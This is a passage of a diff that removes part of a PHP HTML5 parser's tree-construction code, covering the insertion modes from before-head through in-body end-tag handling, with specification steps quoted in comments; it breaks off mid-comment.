- /* Append that character to the Document node. */ - $text = $this->dom->createTextNode($token['data']); - $this->dom->appendChild($text); - - /* A character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED - (FF), or U+0020 SPACE - A start tag token - An end tag token - An end-of-file token */ - } elseif(($token['type'] === HTML5::CHARACTR && - !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || - $token['type'] === HTML5::STARTTAG || - $token['type'] === HTML5::ENDTAG || - $token['type'] === HTML5::EOF) { - /* Create an HTMLElement node with the tag name html, in the HTML - namespace. Append it to the Document object. Switch to the main - phase and reprocess the current token. */ - $html = $this->dom->createElement('html'); - $this->dom->appendChild($html); - $this->stack[] = $html; - - $this->phase = self::MAIN_PHASE; - return $this->mainPhase($token); - } - } - - private function mainPhase($token) { - /* Tokens in the main phase must be handled as follows: */ - - /* A DOCTYPE token */ - if($token['type'] === HTML5::DOCTYPE) { - // Parse error. Ignore the token. - - /* A start tag token with the tag name "html" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') { - /* If this start tag token was not the first start tag token, then - it is a parse error. */ - - /* For each attribute on the token, check to see if the attribute - is already present on the top element of the stack of open elements. - If it is not, add the attribute and its corresponding value to that - element. */ - foreach($token['attr'] as $attr) { - if(!$this->stack[0]->hasAttribute($attr['name'])) { - $this->stack[0]->setAttribute($attr['name'], $attr['value']); - } - } - - /* An end-of-file token */ - } elseif($token['type'] === HTML5::EOF) { - /* Generate implied end tags. */ - $this->generateImpliedEndTags(); - - /* Anything else. */ - } else { - /* Depends on the insertion mode: */ - switch($this->mode) { - case self::BEFOR_HEAD: return $this->beforeHead($token); break; - case self::IN_HEAD: return $this->inHead($token); break; - case self::AFTER_HEAD: return $this->afterHead($token); break; - case self::IN_BODY: return $this->inBody($token); break; - case self::IN_TABLE: return $this->inTable($token); break; - case self::IN_CAPTION: return $this->inCaption($token); break; - case self::IN_CGROUP: return $this->inColumnGroup($token); break; - case self::IN_TBODY: return $this->inTableBody($token); break; - case self::IN_ROW: return $this->inRow($token); break; - case self::IN_CELL: return $this->inCell($token); break; - case self::IN_SELECT: return $this->inSelect($token); break; - case self::AFTER_BODY: return $this->afterBody($token); break; - case self::IN_FRAME: return $this->inFrameset($token); break; - case self::AFTR_FRAME: return $this->afterFrameset($token); break; - case self::END_PHASE: return $this->trailingEndPhase($token); break; - } - } - } - - private function beforeHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "head" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') { - /* Create an element for the token, append the new element to the - current node and push it onto the stack of open elements. */ - $element = $this->insertElement($token); - - /* Set the head element pointer to this new element node. */ - $this->head_pointer = $element; - - /* Change the insertion mode to "in head". */ - $this->mode = self::IN_HEAD; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title". Or an end tag with the tag name "html". - Or a character token that is not one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. Or any other start tag token */ - } elseif($token['type'] === HTML5::STARTTAG || - ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') || - ($token['type'] === HTML5::CHARACTR && !preg_match('/^[\t\n\x0b\x0c ]$/', - $token['data']))) { - /* Act as if a start tag token with the tag name "head" and no - attributes had been seen, then reprocess the current token. */ - $this->beforeHead(array( - 'name' => 'head', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inHead($token); - - /* Any other end tag */ - } elseif($token['type'] === HTML5::ENDTAG) { - /* Parse error. Ignore the token. */ - } - } - - private function inHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE. - - THIS DIFFERS FROM THE SPEC: If the current node is either a title, style - or script element, append the character to the current node regardless - of its content. */ - if(($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || ( - $token['type'] === HTML5::CHARACTR && in_array(end($this->stack)->nodeName, - array('title', 'style', 'script')))) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - } elseif($token['type'] === HTML5::ENDTAG && - in_array($token['name'], array('title', 'style', 'script'))) { - array_pop($this->stack); - return HTML5::PCDATA; - - /* A start tag with the tag name "title" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $element = $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the RCDATA state. */ - return HTML5::RCDATA; - - /* A start tag with the tag name "style" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - } else { - $this->insertElement($token); - } - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "script" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') { - /* Create an element for the token. */ - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - - /* A start tag with the tag name "base", "link", or "meta" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta'))) { - /* Create an element for the token and append the new element to the - node pointed to by the head element pointer, or, if that is null - (innerHTML case), to the current node. */ - if($this->head_pointer !== null) { - $element = $this->insertElement($token, false); - $this->head_pointer->appendChild($element); - array_pop($this->stack); - - } else { - $this->insertElement($token); - } - - /* An end tag with the tag name "head" */ - } elseif($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') { - /* If the current node is a head element, pop the current node off - the stack of open elements. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - array_pop($this->stack); - - /* Otherwise, this is a parse error. */ - } else { - // k - } - - /* Change the insertion mode to "after head". */ - $this->mode = self::AFTER_HEAD; - - /* A start tag with the tag name "head" or an end tag except "html". */ - } elseif(($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') || - ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')) { - // Parse error. Ignore the token. - - /* Anything else */ - } else { - /* If the current node is a head element, act as if an end tag - token with the tag name "head" had been seen. */ - if($this->head_pointer->isSameNode(end($this->stack))) { - $this->inHead(array( - 'name' => 'head', - 'type' => HTML5::ENDTAG - )); - - /* Otherwise, change the insertion mode to "after head". */ - } else { - $this->mode = self::AFTER_HEAD; - } - - /* Then, reprocess the current token. */ - return $this->afterHead($token); - } - } - - private function afterHead($token) { - /* Handle the token as follows: */ - - /* A character token that is one of one of U+0009 CHARACTER TABULATION, - U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF), - or U+0020 SPACE */ - if($token['type'] === HTML5::CHARACTR && - preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) { - /* Append the character to the current node. */ - $this->insertText($token['data']); - - /* A comment token */ - } elseif($token['type'] === HTML5::COMMENT) { - /* Append a Comment node to the current node with the data attribute - set to the data given in the comment token. */ - $this->insertComment($token['data']); - - /* A start tag token with the tag name "body" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') { - /* Insert a body element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in body". */ - $this->mode = self::IN_BODY; - - /* A start tag token with the tag name "frameset" */ - } elseif($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') { - /* Insert a frameset element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in frameset". */ - $this->mode = self::IN_FRAME; - - /* A start tag token whose tag name is one of: "base", "link", "meta", - "script", "style", "title" */ - } elseif($token['type'] === HTML5::STARTTAG && in_array($token['name'], - array('base', 'link', 'meta', 'script', 'style', 'title'))) { - /* Parse error. Switch the insertion mode back to "in head" and - reprocess the token. */ - $this->mode = self::IN_HEAD; - return $this->inHead($token); - - /* Anything else */ - } else { - /* Act as if a start tag token with the tag name "body" and no - attributes had been seen, and then reprocess the current token. */ - $this->afterHead(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - return $this->inBody($token); - } - } - - private function inBody($token) { - /* Handle the token as follows: */ - - switch($token['type']) { - /* A character token */ - case HTML5::CHARACTR: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Append the token's character to the current node. */ - $this->insertText($token['data']); - break; - - /* A comment token */ - case HTML5::COMMENT: - /* Append a Comment node to the current node with the data - attribute set to the data given in the comment token. */ - $this->insertComment($token['data']); - break; - - case HTML5::STARTTAG: - switch($token['name']) { - /* A start tag token whose tag name is one of: "script", - "style" */ - case 'script': case 'style': - /* Process the token as if the insertion mode had been "in - head". */ - return $this->inHead($token); - break; - - /* A start tag token whose tag name is one of: "base", "link", - "meta", "title" */ - case 'base': case 'link': case 'meta': case 'title': - /* Parse error. Process the token as if the insertion mode - had been "in head". */ - return $this->inHead($token); - break; - - /* A start tag token with the tag name "body" */ - case 'body': - /* Parse error. If the second element on the stack of open - elements is not a body element, or, if the stack of open - elements has only one node on it, then ignore the token. - (innerHTML case) */ - if(count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') { - // Ignore - - /* Otherwise, for each attribute on the token, check to see - if the attribute is already present on the body element (the - second element) on the stack of open elements. If it is not, - add the attribute and its corresponding value to that - element. */ - } else { - foreach($token['attr'] as $attr) { - if(!$this->stack[1]->hasAttribute($attr['name'])) { - $this->stack[1]->setAttribute($attr['name'], $attr['value']); - } - } - } - break; - - /* A start tag whose tag name is one of: "address", - "blockquote", "center", "dir", "div", "dl", "fieldset", - "listing", "menu", "ol", "p", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'p': case 'ul': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "form" */ - case 'form': - /* If the form element pointer is not null, ignore the - token with a parse error. */ - if($this->form_pointer !== null) { - // Ignore. - - /* Otherwise: */ - } else { - /* If the stack of open elements has a p element in - scope, then act as if an end tag with the tag name p - had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token, and set the - form element pointer to point to the element created. */ - $element = $this->insertElement($token); - $this->form_pointer = $element; - } - break; - - /* A start tag whose tag name is "li", "dd" or "dt" */ - case 'li': case 'dd': case 'dt': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - $stack_length = count($this->stack) - 1; - - for($n = $stack_length; 0 <= $n; $n--) { - /* 1. Initialise node to be the current node (the - bottommost node of the stack). */ - $stop = false; - $node = $this->stack[$n]; - $cat = $this->getElementCategory($node->tagName); - - /* 2. If node is an li, dd or dt element, then pop all - the nodes from the current node up to node, including - node, then stop this algorithm. */ - if($token['name'] === $node->tagName || ($token['name'] !== 'li' - && ($node->tagName === 'dd' || $node->tagName === 'dt'))) { - for($x = $stack_length; $x >= $n ; $x--) { - array_pop($this->stack); - } - - break; - } - - /* 3. If node is not in the formatting category, and is - not in the phrasing category, and is not an address or - div element, then stop this algorithm. */ - if($cat !== self::FORMATTING && $cat !== self::PHRASING && - $node->tagName !== 'address' && $node->tagName !== 'div') { - break; - } - } - - /* Finally, insert an HTML element with the same tag - name as the token's. */ - $this->insertElement($token); - break; - - /* A start tag token whose tag name is "plaintext" */ - case 'plaintext': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been - seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - return HTML5::PLAINTEXT; - break; - - /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - this is a parse error; pop elements from the stack until an - element with one of those tag names has been popped from the - stack. */ - while($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) { - array_pop($this->stack); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - break; - - /* A start tag whose tag name is "a" */ - case 'a': - /* If the list of active formatting elements contains - an element whose tag name is "a" between the end of the - list and the last marker on the list (or the start of - the list if there is no marker on the list), then this - is a parse error; act as if an end tag with the tag name - "a" had been seen, then remove that element from the list - of active formatting elements and the stack of open - elements if the end tag didn't already remove it (it - might not have if the element is not in table scope). */ - $leng = count($this->a_formatting); - - for($n = $leng - 1; $n >= 0; $n--) { - if($this->a_formatting[$n] === self::MARKER) { - break; - - } elseif($this->a_formatting[$n]->nodeName === 'a') { - $this->emitToken(array( - 'name' => 'a', - 'type' => HTML5::ENDTAG - )); - break; - } - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag whose tag name is one of: "b", "big", "em", "font", - "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'b': case 'big': case 'em': case 'font': case 'i': - case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $el = $this->insertElement($token); - - /* Add that element to the list of active formatting - elements. */ - $this->a_formatting[] = $el; - break; - - /* A start tag token whose tag name is "button" */ - case 'button': - /* If the stack of open elements has a button element in scope, - then this is a parse error; act as if an end tag with the tag - name "button" had been seen, then reprocess the token. (We don't - do that. Unnecessary.) */ - if($this->elementInScope('button')) { - $this->inBody(array( - 'name' => 'button', - 'type' => HTML5::ENDTAG - )); - } - - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is one of: "marquee", "object" */ - case 'marquee': case 'object': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Insert a marker at the end of the list of active - formatting elements. */ - $this->a_formatting[] = self::MARKER; - break; - - /* A start tag token whose tag name is "xmp" */ - case 'xmp': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Switch the content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "table" */ - case 'table': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in table". */ - $this->mode = self::IN_TABLE; - break; - - /* A start tag whose tag name is one of: "area", "basefont", - "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */ - case 'area': case 'basefont': case 'bgsound': case 'br': - case 'embed': case 'img': case 'param': case 'spacer': - case 'wbr': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "hr" */ - case 'hr': - /* If the stack of open elements has a p element in scope, - then act as if an end tag with the tag name p had been seen. */ - if($this->elementInScope('p')) { - $this->emitToken(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - } - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Immediately pop the current node off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "image" */ - case 'image': - /* Parse error. Change the token's tag name to "img" and - reprocess it. (Don't ask.) */ - $token['name'] = 'img'; - return $this->inBody($token); - break; - - /* A start tag whose tag name is "input" */ - case 'input': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an input element for the token. */ - $element = $this->insertElement($token, false); - - /* If the form element pointer is not null, then associate the - input element with the form element pointed to by the form - element pointer. */ - $this->form_pointer !== null - ? $this->form_pointer->appendChild($element) - : end($this->stack)->appendChild($element); - - /* Pop that input element off the stack of open elements. */ - array_pop($this->stack); - break; - - /* A start tag whose tag name is "isindex" */ - case 'isindex': - /* Parse error. */ - // w/e - - /* If the form element pointer is not null, - then ignore the token. */ - if($this->form_pointer === null) { - /* Act as if a start tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a start tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::STARTTAG, - 'attr' => array() - )); - - /* Act as if a stream of character tokens had been seen. */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if a start tag token with the tag name "input" - had been seen, with all the attributes from the "isindex" - token, except with the "name" attribute set to the value - "isindex" (ignoring any explicit "name" attribute). */ - $attr = $token['attr']; - $attr[] = array('name' => 'name', 'value' => 'isindex'); - - $this->inBody(array( - 'name' => 'input', - 'type' => HTML5::STARTTAG, - 'attr' => $attr - )); - - /* Act as if a stream of character tokens had been seen - (see below for what they should say). */ - $this->insertText('This is a searchable index. '. - 'Insert your search keywords here: '); - - /* Act as if an end tag token with the tag name "label" - had been seen. */ - $this->inBody(array( - 'name' => 'label', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "p" had - been seen. */ - $this->inBody(array( - 'name' => 'p', - 'type' => HTML5::ENDTAG - )); - - /* Act as if a start tag token with the tag name "hr" had - been seen. */ - $this->inBody(array( - 'name' => 'hr', - 'type' => HTML5::ENDTAG - )); - - /* Act as if an end tag token with the tag name "form" had - been seen. */ - $this->inBody(array( - 'name' => 'form', - 'type' => HTML5::ENDTAG - )); - } - break; - - /* A start tag whose tag name is "textarea" */ - case 'textarea': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the - RCDATA state. */ - return HTML5::RCDATA; - break; - - /* A start tag whose tag name is one of: "iframe", "noembed", - "noframes" */ - case 'iframe': case 'noembed': case 'noframes': - $this->insertElement($token); - - /* Switch the tokeniser's content model flag to the CDATA state. */ - return HTML5::CDATA; - break; - - /* A start tag whose tag name is "select" */ - case 'select': - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - /* Insert an HTML element for the token. */ - $this->insertElement($token); - - /* Change the insertion mode to "in select". */ - $this->mode = self::IN_SELECT; - break; - - /* A start or end tag whose tag name is one of: "caption", "col", - "colgroup", "frame", "frameset", "head", "option", "optgroup", - "tbody", "td", "tfoot", "th", "thead", "tr". */ - case 'caption': case 'col': case 'colgroup': case 'frame': - case 'frameset': case 'head': case 'option': case 'optgroup': - case 'tbody': case 'td': case 'tfoot': case 'th': case 'thead': - case 'tr': - // Parse error. Ignore the token. - break; - - /* A start or end tag whose tag name is one of: "event-source", - "section", "nav", "article", "aside", "header", "footer", - "datagrid", "command" */ - case 'event-source': case 'section': case 'nav': case 'article': - case 'aside': case 'header': case 'footer': case 'datagrid': - case 'command': - // Work in progress! - break; - - /* A start tag token not covered by the previous entries */ - default: - /* Reconstruct the active formatting elements, if any. */ - $this->reconstructActiveFormattingElements(); - - $this->insertElement($token); - break; - } - break; - - case HTML5::ENDTAG: - switch($token['name']) { - /* An end tag with the tag name "body" */ - case 'body': - /* If the second element in the stack of open elements is - not a body element, this is a parse error. Ignore the token. - (innerHTML case) */ - if(count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') { - // Ignore. - - /* If the current node is not the body element, then this - is a parse error. */ - } elseif(end($this->stack)->nodeName !== 'body') { - // Parse error. - } - - /* Change the insertion mode to "after body". */ - $this->mode = self::AFTER_BODY; - break; - - /* An end tag with the tag name "html" */ - case 'html': - /* Act as if an end tag with tag name "body" had been seen, - then, if that token wasn't ignored, reprocess the current - token. */ - $this->inBody(array( - 'name' => 'body', - 'type' => HTML5::ENDTAG - )); - - return $this->afterBody($token); - break; - - /* An end tag whose tag name is one of: "address", "blockquote", - "center", "dir", "div", "dl", "fieldset", "listing", "menu", - "ol", "pre", "ul" */ - case 'address': case 'blockquote': case 'center': case 'dir': - case 'div': case 'dl': case 'fieldset': case 'listing': - case 'menu': case 'ol': case 'pre': case 'ul': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with - the same tag name as that of the token, then this - is a parse error. */ - // w/e - - /* If the stack of open elements has an element in - scope with the same tag name as that of the token, - then pop elements from this stack until an element - with that tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is "form" */ - case 'form': - /* If the stack of open elements has an element in scope - with the same tag name as that of the token, then generate - implied end tags. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(); - - } - - if(end($this->stack)->nodeName !== $token['name']) { - /* Now, if the current node is not an element with the - same tag name as that of the token, then this is a parse - error. */ - // w/e - - } else { - /* Otherwise, if the current node is an element with - the same tag name as that of the token pop that element - from the stack. */ - array_pop($this->stack); - } - - /* In any case, set the form element pointer to null. */ - $this->form_pointer = null; - break; - - /* An end tag whose tag name is "p" */ - case 'p': - /* If the stack of open elements has a p element in scope, - then generate implied end tags, except for p elements. */ - if($this->elementInScope('p')) { - $this->generateImpliedEndTags(array('p')); - - /* If the current node is not a p element, then this is - a parse error. */ - // k - - /* If the stack of open elements has a p element in - scope, then pop elements from this stack until the stack - no longer has a p element in scope. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->elementInScope('p')) { - array_pop($this->stack); - - } else { - break; - } - } - } - break; - - /* An end tag whose tag name is "dd", "dt", or "li" */ - case 'dd': case 'dt': case 'li': - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - generate implied end tags, except for elements with the - same tag name as the token. */ - if($this->elementInScope($token['name'])) { - $this->generateImpliedEndTags(array($token['name'])); - - /* If the current node is not an element with the same - tag name as the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has an element in scope - whose tag name matches the tag name of the token, then - pop elements from this stack until an element with that - tag name has been popped from the stack. */ - for($n = count($this->stack) - 1; $n >= 0; $n--) { - if($this->stack[$n]->nodeName === $token['name']) { - $n = -1; - } - - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4", - "h5", "h6" */ - case 'h1': case 'h2': case 'h3': case 'h4': case 'h5': case 'h6': - $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'); - - /* If the stack of open elements has in scope an element whose - tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then - generate implied end tags. */ - if($this->elementInScope($elements)) { - $this->generateImpliedEndTags(); - - /* Now, if the current node is not an element with the same - tag name as that of the token, then this is a parse error. */ - // w/e - - /* If the stack of open elements has in scope an element - whose tag name is one of "h1", "h2", "h3", "h4", "h5", or - "h6", then pop elements from the stack until an element - with one of those tag names has been popped from the stack. */ - while($this->elementInScope($elements)) { - array_pop($this->stack); - } - } - break; - - /* An end tag whose tag name is one of: "a", "b", "big", "em", - "font", "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */ - case 'a': case 'b': case 'big': case 'em': case 'font': - case 'i': case 'nobr': case 's': case 'small': case 'strike': - case 'strong': case 'tt': case 'u': - /* 1. Let the formatting element be the last element in - the list of active formatting elements that: - * is between the end of the list and the last scope - marker in the list, if any, or the start of the list - otherwise, and - * has the same tag name as the token. - */ - while(true) { - for($a = count($this->a_formatting) - 1; $a >= 0; $a--) { - if($this->a_formatting[$a] === self::MARKER) { - break; - - } elseif($this->a_formatting[$a]->tagName === $token['name']) { - $formatting_element = $this->a_formatting[$a]; - $in_stack = in_array($formatting_element, $this->stack, true); - $fe_af_pos = $a; - break; - } - } - - /* If there is no such node, or, if that node is - also in the stack of open elements but the element - is not in scope, then this is a parse error. Abort - these steps. The token is ignored. */ - if(!isset($formatting_element) || ($in_stack && - !$this->elementInScope($token['name']))) { - break; - - /* Otherwise, if there is such a node, but that node - is not in the stack of open elements, then this is a - parse error; remove the element from the list, and - abort these steps. */ - } elseif(isset($formatting_element) && !$in_stack) { - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 2. Let the furthest block be the topmost node in the - stack of open elements that is lower in the stack - than the formatting element, and is not an element in - the phrasing or formatting categories. There might - not be one. */ - $fe_s_pos = array_search($formatting_element, $this->stack, true); - $length = count($this->stack); - - for($s = $fe_s_pos + 1; $s < $length; $s++) { - $category = $this->getElementCategory($this->stack[$s]->nodeName); - - if($category !== self::PHRASING && $category !== self::FORMATTING) { - $furthest_block = $this->stack[$s]; - } - } - - /* 3. If there is no furthest block, then the UA must - skip the subsequent steps and instead just pop all - the nodes from the bottom of the stack of open - elements, from the current node up to the formatting - element, and remove the formatting element from the - list of active formatting elements. */ - if(!isset($furthest_block)) { - for($n = $length - 1; $n >= $fe_s_pos; $n--) { - array_pop($this->stack); - } - - unset($this->a_formatting[$fe_af_pos]); - $this->a_formatting = array_merge($this->a_formatting); - break; - } - - /* 4. Let the common ancestor be the element - immediately above the formatting element in the stack - of open elements. */ - $common_ancestor = $this->stack[$fe_s_pos - 1]; - - /* 5. If the furthest block has a parent node, then - remove the furthest block from its parent node. */ - if($furthest_block->parentNode !== null) { - $furthest_block->parentNode->removeChild($furthest_block); - } - - /* 6. Let a bookmark note the position of the - formatting element in the list of active formatting - elements relative to the elements on either side - of it in the list. */ - $bookmark = $fe_af_pos; - - /* 7. Let node and last node be the furthest block. - Follow these steps: */ - $node = $furthest_block; - $last_node = $furthest_block; - - while(true) { - for($n = array_search($node, $this->stack, true) - 1; $n >= 0; $n--) { - /* 7.1 Let node be the element immediately - prior to node in the stack of open elements. */ - $node = $this->stack[$n]; - - /* 7.2 If node is not in the list of active - formatting elements, then remove node from - the stack of open elements and then go back - to step 1. */ - if(!in_array($node, $this->a_formatting, true)) { - unset($this->stack[$n]); - $this->stack = array_merge($this->stack); - - } else { - break; - } - } - - /* 7.3 Otherwise, if node is the formatting - element, then go to the next step in the overall - algorithm. */ - if($node === $formatting_element) { - break; - - /* 7.4 Otherwise, if last node is the furthest - block, then move the aforementioned bookmark to - be immediately after the node in the list of - active formatting elements. */ - } elseif($last_node === $furthest_block) { - $bookmark = array_search($node, $this->a_formatting, true) + 1; - } - - /* 7.5 If node has any children, perform a - shallow clone of node, replace the entry for - node in the list of active formatting elements - with an entry for the clone, replace the entry - for node in the stack of open elements with an - entry for the clone, and let node be the clone. */ - if($node->hasChildNodes()) { - $clone = $node->cloneNode(); - $s_pos = array_search($node, $this->stack, true); - $a_pos = array_search($node, $this->a_formatting, true); - - $this->stack[$s_pos] = $clone; - $this->a_formatting[$a_pos] = $clone; - $node = $clone; - } - - /* 7.6 Insert last node into node, first removing - it from its previous parent node if any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $node->appendChild($last_node); - - /* 7.7 Let last node be node. */ - $last_node = $node; - } - - /* 8. Insert whatever last node ended up being in - the previous step into the common ancestor node, - first removing it from its previous parent node if - any. */ - if($last_node->parentNode !== null) { - $last_node->parentNode->removeChild($last_node); - } - - $common_ancestor->appendChild($last_node); - - /* 9. Perform a shallow clone of the formatting - element. */ - $clone = $formatting_element->cloneNode(); - - /* 10. 